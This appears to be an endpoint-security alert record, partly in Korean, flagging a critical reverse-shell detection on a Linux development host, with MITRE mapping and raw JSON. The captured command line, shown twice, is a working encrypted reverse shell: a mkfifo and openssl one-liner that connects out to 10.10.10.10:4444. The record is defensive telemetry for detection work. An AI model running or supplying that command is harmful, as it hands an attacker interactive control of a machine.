Alert Information Critical
Alert ID
ind:021368f9220b45cdb2760a069897c1c8:1766234368156390846-30128-1341200
Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234368156390846-30128-1341200
설명
A reverse shell has been detected on your host. It may provide adversaries with an interactive terminal. Check the process tree to determine if this access was expected.
호스트
siemdev-14
상태
new
생성 시간
2025-12-20 21:40:30
업데이트 시간
2025-12-20 22:39:30
MITRE ATT&CK
Tactic
Execution
Technique
Command and Scripting Interpreter
Command Line
bash -c timeout 5 bash -c 'mkfifo /tmp/s; /bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect 10.10.10.10:4444>/tmp/s;rm /tmp/s'
Raw JSON Data
{"id":"ind:021368f9220b45cdb2760a069897c1c8:1766234368156390846-30128-1341200","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:021368f9220b45cdb2760a069897c1c8:1766234368156390846-30128-1341200","agent_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"A reverse shell has been detected on your host. It may provide adversaries with an interactive terminal. Check the process tree to determine if this access was expected.","severity":80,"severity_name":"Critical","confidence":50,"tactic":"Execution","tactic_id":"TA0002","technique":"Command and Scripting Interpreter","technique_id":"T1059","cmdline":"bash -c timeout 5 bash -c \u0027mkfifo /tmp/s; /bin/sh -i \u003C/tmp/s 2\u003E\u00261|openssl s_client -quiet -connect 10.10.10.10:4444\u003E/tmp/s;rm /tmp/s\u0027","filename":"bash","filepath":"/usr/bin/bash","sha256":"a59fc4da19d169c175b247bfaf4a21c2ee7c16c3ed2820daa807ab12affe98fc","status":"new","type":"ldt","created_timestamp":"2025-12-20T12:40:30.579503544Z","updated_timestamp":"2025-12-20T13:39:30.591699853Z","device":{"device_id":"021368f9220b45cdb2760a069897c1c8","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"siemdev-14","local_ip":"172.17.0.1","external_ip":"211.198.135.5","mac_address":"16-bc-32-c0-b2-f4","platform_name":"Linux","os_version":"Rocky Linux 10.1"},"aggregate_id":"aggind:021368f9220b45cdb2760a069897c1c8:25811106256","CreatedAt":"2025-12-20T21:40:30.5795035+09:00","UpdatedAt":"2025-12-20T22:39:30.5916999+09:00"}
Quick Info
  • Severity Critical
  • Score 80
  • Agent ID 021368f9220b45cdb2760a069897c1c8